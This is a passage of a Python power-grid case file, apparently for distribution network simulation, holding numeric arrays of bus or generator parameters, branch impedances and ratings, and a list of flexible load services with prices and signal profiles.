[1133.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1134.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1135.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1136.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1137.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1139.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1142.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1144.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.28, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1146.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1147.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1148.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1149.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1150.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.41, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1151.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1153.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1154.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1156.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1157.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1158.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1160.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1161.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1163.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1164.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1165.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.22, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1167.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.35, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1168.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1169.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1170.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1171.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1172.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1173.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1174.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.15, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1175.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.36, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1102, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1105, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1108, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1116, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1127, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n [1152, 1.0, 0.0, 1.0, -1.0, 0.0, 100.0, 1, 4.5, 0.0, 1., 4.5, -1.1, 1.1, -.4, .4, 0.0, 0.0, 0.0, 0.0, 0.0],\n ])\n\n ## Branch data\n case[\"branch\"] = array([\n [1000.0, 1100.0, 0.0, 0.004667, 0.0, 25.0, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1101.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1101.0, 1102.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1102.0, 1103.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1104.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1104.0, 1105.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1105.0, 1106.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1107.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1107.0, 1108.0, 0.002245, 0.001164, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1108.0, 1109.0, 0.000688, 0.000187, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1110.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1110.0, 1111.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1111.0, 1112.0, 0.002931, 0.001519, 0.0, 6.82, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1111.0, 1113.0, 0.000731, 0.000199, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1112.0, 1114.0, 0.000731, 0.000199, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1115.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1115.0, 1116.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1116.0, 1117.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1117.0, 1118.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1118.0, 1119.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1119.0, 1120.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1120.0, 1121.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1116.0, 1122.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1118.0, 1123.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1119.0, 1124.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1121.0, 1125.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1126.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1126.0, 1127.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1127.0, 1128.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1128.0, 1129.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1129.0, 1130.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1130.0, 1131.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1131.0, 1132.0, 0.000821, 0.000632, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1127.0, 1133.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1129.0, 1134.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1130.0, 1135.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1132.0, 1136.0, 0.000597, 0.000161, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1137.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1137.0, 1138.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1138.0, 1139.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1139.0, 1140.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1140.0, 1141.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1141.0, 1142.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1142.0, 1143.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1143.0, 1144.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1144.0, 1145.0, 0.001011, 0.000777, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1138.0, 1146.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1140.0, 1147.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1141.0, 1148.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1143.0, 1149.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1145.0, 1150.0, 0.000629, 0.000171, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1100.0, 1151.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1151.0, 1152.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1152.0, 1153.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1153.0, 1154.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1154.0, 1155.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1155.0, 1156.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1156.0, 1157.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1157.0, 1158.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1158.0, 1159.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1159.0, 1160.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1160.0, 1161.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1161.0, 1162.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1162.0, 1163.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1163.0, 1164.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1164.0, 1165.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1165.0, 1166.0, 0.000733, 0.000564, 0.0, 8.86, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1152.0, 1167.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1154.0, 1168.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1155.0, 1169.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1157.0, 1170.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1159.0, 1171.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1161.0, 1172.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1162.0, 1173.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1164.0, 1174.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0],\n [1166.0, 1175.0, 0.000803, 0.000219, 0.0, 4.84, 0.0, 0.0, 0.0, 0.0, 1.0, -360.0, 360.0]\n ])\n\n ## List of all potential flexible services of loads.\n # Type, device, price, signal\n flex_conso = [\n [1, 1, 1.96, [0.0404, 0.0925, 0.1244, 0.1292, 0.1058, 0.0594, -0.0, -0.0594, -0.1058, -0.1292, -0.1244, -0.0925, -0.0404]],\n [1, 2, 2.54, [-0.0523, -0.0915, -0.1247, -0.1497, -0.1648, -0.1691, -0.1623, -0.1449, -0.1179, -0.0832, -0.043, 0.0, 0.043, 0.0832, 0.1179, 0.1449, 0.1623, 0.1691, 0.1648, 0.1497, 0.1247, 0.0915, 0.0523]],\n [1, 3, 1.96, [0.0404, 0.081, 0.1115, 0.1283, 0.1292, 0.1141, 0.0849, 0.0453, -0.0, -0.0453, -0.0849, -0.1141, -0.1292, -0.1283, -0.1115, -0.081, -0.0404]],\n [1, 4, 2.54, [-0.0523, -0.1304, -0.1679, -0.1531, -0.0907, 0.0, 0.0907, 0.1531, 0.1679, 0.1304, 0.0523]],\n [1, 5, 1.96, [0.0404, 0.0769, 0.1058, 0.1244, 0.1308, 0.1244, 0.1058, 0.0769, 0.0404, -0.0, -0.0404, -0.0769, -0.1058, -0.1244, -0.1308, -0.1244, -0.1058, -0.0769, -0.0404]],\n [1, 6, 2.54, [-0.0523, -0.102, -0.1405, -0.1636, -0.1687, -0.1554, -0.125, -0.081, -0.028, 0.028, 0.081, 0.125, 0.1554, 0.1687, 0.1636, 0.1405, 0.102, 0.0523]],\n [1, 7, 1.97, [0.0406, 0.0812, 0.1119, 0.1287, 0.1296, 0.1145, 0.0852, 0.0454, -0.0, -0.0454, -0.0852, -0.1145, -0.1296, -0.1287, -0.1119, -0.0812, -0.0406]],\n [1, 8, 1.97, [-0.0406, -0.0863, -0.1182, -0.1311, -0.1228, -0.0948, -0.0516, 0.0, 0.0516, 0.0948, 0.1228, 0.1311, 0.1182, 0.0863, 0.0406]],\n [1, 9, 0.5, [0.0103, 0.0235, 0.0316, 0.0328, 0.0269, 0.0151, -0.0, -0.0151, -0.0269, -0.0328, -0.0316, -0.0235, -0.0103]],\n [1, 10, 2.49, [-0.0513, -0.1174, -0.1579, -0.164, -0.1343, -0.0754, 0.0, 0.0754, 0.1343, 0.164, 0.1579, 0.1174, 0.0513]],\n [1, 11, 2.13, [0.0439, 0.1094, 0.1409, 0.1285, 0.0761, -0.0, -0.0761, -0.1285, -0.1409, -0.1094, -0.0439]],\n [1, 12, 2.13, [-0.0439, -0.1046, -0.1383, -0.1362, -0.099, -0.0361, 0.0361, 0.099, 0.1362, 0.1383, 0.1046, 0.0439]],\n [1, 13, 2.13, [0.0439, 0.1409, 0.0761, -0.0761, -0.1409, -0.0439]],\n [1, 14, 3.19, [-0.0658, -0.1283, -0.1767, -0.2057, -0.2122, -0.1955, -0.1573, -0.1018, -0.0352, 0.0352, 0.1018, 0.1573, 0.1955, 0.2122, 0.2057, 0.1767, 0.1283, 0.0658]],\n [1, 15, 3.19, [0.0658, 0.1568, 0.2073, 0.2042, 0.1483, 0.0541, -0.0541, -0.1483, -0.2042, -0.2073, -0.1568, -0.0658]],\n [1, 16, 3.20, [-0.0659, -0.1359, -0.1868, -0.2115, -0.2065, -0.1725, -0.1142, -0.0399, 0.0399, 0.1142, 0.1725, 0.2065, 0.2115, 0.1868, 0.1359, 0.0659]],\n [1, 17, 3.20, [0.0659, 0.1571, 0.2077, 0.2046, 0.1486, 0.0542, -0.0542, -0.1486, -0.2046, -0.2077, -0.1571, -0.0659]],\n [1, 18, 2.13, [-0.0439, -0.0934, -0.1279, -0.1419, -0.1329, -0.1026, -0.0558, 0.0, 0.0558, 0.1026, 0.1329, 0.1419, 0.1279, 0.0934, 0.0439]],\n [1, 19, 2.13, [0.0439, 0.0856, 0.1179, 0.1373, 0.1416, 0.1304, 0.1049, 0.0679, 0.0235, -0.0235, -0.0679, -0.1049, -0.1304, -0.1416, -0.1373, -0.1179, -0.0856, -0.0439]],\n [1, 20, 2.13, [-0.0439, -0.0905, -0.1244, -0.1409, -0.1375, -0.1149, -0.0761, -0.0266, 0.0266, 0.0761, 0.1149, 0.1375, 0.1409, 0.1244, 0.0905, 0.0439]],\n [1, 21, 3.19, [0.0658, 0.1449, 0.1971, 0.2126, 0.1884, 0.1292, 0.0459, -0.0459, -0.1292, -0.1884, -0.2126, -0.1971, -0.1449, -0.0658]],\n [1, 22, 3.19, [-0.0658, -0.1917, -0.1992, -0.0836, 0.0836, 0.1992, 0.1917, 0.0658]],\n [1, 23, 3.20, [0.0659, 0.1452, 0.1975, 0.213, 0.1888, 0.1294, 0.046, -0.046, -0.1294, -0.1888, -0.213, -0.1975, -0.1452, -0.0659]],\n [1, 24, 3.20, [-0.0659, -0.1359, -0.1868, -0.2115, -0.2065, -0.1725, -0.1142, -0.0399, 0.0399, 0.1142, 0.1725, 0.2065, 0.2115, 0.1868, 0.1359, 0.0659]],\n [1, 25, 2.17, [0.0448, 0.1067, 0.141, 0.1389, 0.1009, 0.0368, -0.0368, -0.1009, -0.1389, -0.141, -0.1067, -0.0448]],\n [1, 26, 2.18, [-0.0449, -0.1175, -0.1452, -0.1175, -0.0449, 0.0449, 0.1175, 0.1452, 0.1175, 0.0449]],\n [1, 27, 2.18, [0.0449, 0.0955, 0.1308, 0.1451, 0.1359, 0.1049, 0.0571, -0.0, -0.0571, -0.1049, -0.1359, -0.1451, -0.1308, -0.0955, -0.0449]],\n [1, 28, 2.18, [-0.0449, -0.0785, -0.107, -0.1284, -0.1414, -0.1451, -0.1393, -0.1243, -0.1012, -0.0714, -0.0369, 0.0, 0.0369, 0.0714, 0.1012, 0.1243, 0.1393, 0.1451, 0.1414, 0.1284, 0.107, 0.0785, 0.0449]],\n [1, 29, 3.25, [0.067, 0.1533, 0.2062, 0.2141, 0.1754, 0.0984, -0.0, -0.0984, -0.1754, -0.2141, -0.2062, -0.1533, -0.067]],\n [1, 30, 3.27, [-0.0674, -0.1158, -0.1573, -0.1893, -0.2099, -0.2179, -0.2128, -0.1949, -0.1653, -0.1257, -0.0786, -0.0267, 0.0267, 0.0786, 0.1257, 0.1653, 0.1949, 0.2128, 0.2179, 0.2099, 0.1893, 0.1573, 0.1158, 0.0674]],\n [1, 31, 3.27, [0.0674, 0.135, 0.1859, 0.2138, 0.2153, 0.1902, 0.1416, 0.0755, -0.0, -0.0755, -0.1416, -0.1902, -0.2153, -0.2138, -0.1859, -0.135, -0.0674]],\n [1, 32, 3.27, [-0.0674, -0.1485, -0.2019, -0.2177, -0.193, -0.1324, -0.047, 0.047, 0.1324, 0.193, 0.2177, 0.2019, 0.1485, 0.0674]],\n [1, 33, 3.27, [0.0674, 0.1485, 0.2019, 0.2177, 0.193, 0.1324, 0.047, -0.047, -0.1324, -0.193, -0.2177, -0.2019, -0.1485, -0.0674]],\n [1, 34, 1.71, [-0.0352, -0.0776, -0.1056, -0.1139, -0.1009, -0.0692, -0.0246, 0.0246, 0.0692, 0.1009, 0.1139, 0.1056, 0.0776, 0.0352]],\n [1, 35, 1.72, [0.0355, 0.0755, 0.1034, 0.1147, 0.1075, 0.083, 0.0451, -0.0, -0.0451, -0.083, -0.1075, -0.1147, -0.1034, -0.0755, -0.0355]],\n [1, 36, 1.72, [-0.0355, -0.0979, -0.1134, -0.0746, 0.0, 0.0746, 0.1134, 0.0979, 0.0355]],\n [1, 37, 1.72, [0.0355, 0.0846, 0.1118, 0.1101, 0.08, 0.0292, -0.0292, -0.08, -0.1101, -0.1118, -0.0846, -0.0355]],\n [1, 38, 1.72, [-0.0355, -0.0929, -0.1148, -0.0929, -0.0355, 0.0355, 0.0929, 0.1148, 0.0929, 0.0355]],\n [1, 39, 1.72, [0.0355, 0.0782, 0.1063, 0.1147, 0.1016, 0.0697, 0.0248, -0.0248, -0.0697, -0.1016, -0.1147, -0.1063, -0.0782, -0.0355]],\n [1, 40, 1.72, [-0.0355, -0.0755, -0.1034, -0.1147, -0.1075, -0.083, -0.0451, 0.0, 0.0451, 0.083, 0.1075, 0.1147, 0.1034, 0.0755, 0.0355]],\n [1, 41, 1.72, [0.0355, 0.0711, 0.0979, 0.1126, 0.1134, 0.1002, 0.0746, 0.0397, -0.0, -0.0397, -0.0746, -0.1002, -0.1134, -0.1126, -0.0979, -0.0711, -0.0355]],\n [1, 42, 1.72, [-0.0355, -0.0782, -0.1063, -0.1147, -0.1016, -0.0697, -0.0248, 0.0248, 0.0697, 0.1016, 0.1147, 0.1063, 0.0782, 0.0355]],\n [1, 43, 1.72, [0.0355, 0.0782, 0.1063, 0.1147, 0.1016, 0.0697, 0.0248, -0.0248, -0.0697, -0.1016, -0.1147, -0.1063, -0.0782, -0.0355]],\n [1, 44, 1.72, [-0.0355, -0.1092, -0.0929, 0.0, 0.0929, 0.1092, 0.0355]],\n [1, 45, 2.82, [0.0581, 0.108, 0.1484, 0.1757, 0.1876, 0.183, 0.1623, 0.1273, 0.0812, 0.0279, -0.0279, -0.0812, -0.1273, -0.1623, -0.183, -0.1876, -0.1757, -0.1484, -0.108, -0.0581]],\n [1, 46, 1.11, [-0.0229, -0.0704, -0.0599, 0.0, 0.0599, 0.0704, 0.0229]],\n [1, 47, 2.84, [0.0585, 0.1005, 0.1365, 0.1643, 0.1822, 0.1891, 0.1847, 0.1692, 0.1434, 0.1091, 0.0682, 0.0232, -0.0232, -0.0682, -0.1091, -0.1434, -0.1692, -0.1847, -0.1891, -0.1822, -0.1643, -0.1365, -0.1005, -0.0585]],\n [1, 48, 1.12, [-0.0231, -0.0551, -0.0729, -0.0718, -0.0521, -0.019, 0.019, 0.0521, 0.0718, 0.0729, 0.0551, 0.0231]],\n [1, 49, 2.839, [0.0585, 0.1531, 0.1892, 0.1531, 0.0585, -0.0585, -0.1531, -0.1892, -0.1531, -0.0585]],\n [1, 50, 1.12, [-0.0231, -0.0463, -0.0638, -0.0734, -0.0739, -0.0653, -0.0486, -0.0259, 0.0, 0.0259, 0.0486, 0.0653, 0.0739, 0.0734, 0.0638, 0.0463, 0.0231]],\n [1, 51, 2.839, [0.0585, 0.1087, 0.1493, 0.1768, 0.1888, 0.1842, 0.1633, 0.1281, 0.0817, 0.0281, -0.0281, -0.0817, -0.1281, -0.1633, -0.1842, -0.1888, -0.1768, -0.1493, -0.1087, -0.0585]],\n [1, 52, 1.12, [-0.0231, -0.044, -0.0605, -0.0711, -0.0748, -0.0711, -0.0605, -0.044, -0.0231, 0.0, 0.0231, 0.044, 0.0605, 0.0711, 0.0748, 0.0711, 0.0605, 0.044, 0.0231]],\n [1, 53, 2.839, [0.0585, 0.1171, 0.1613, 0.1856, 0.1869, 0.1651, 0.1229, 0.0655, -0.0, -0.0655, -0.1229, -0.1651, -0.1869, -0.1856, -0.1613, -0.1171, 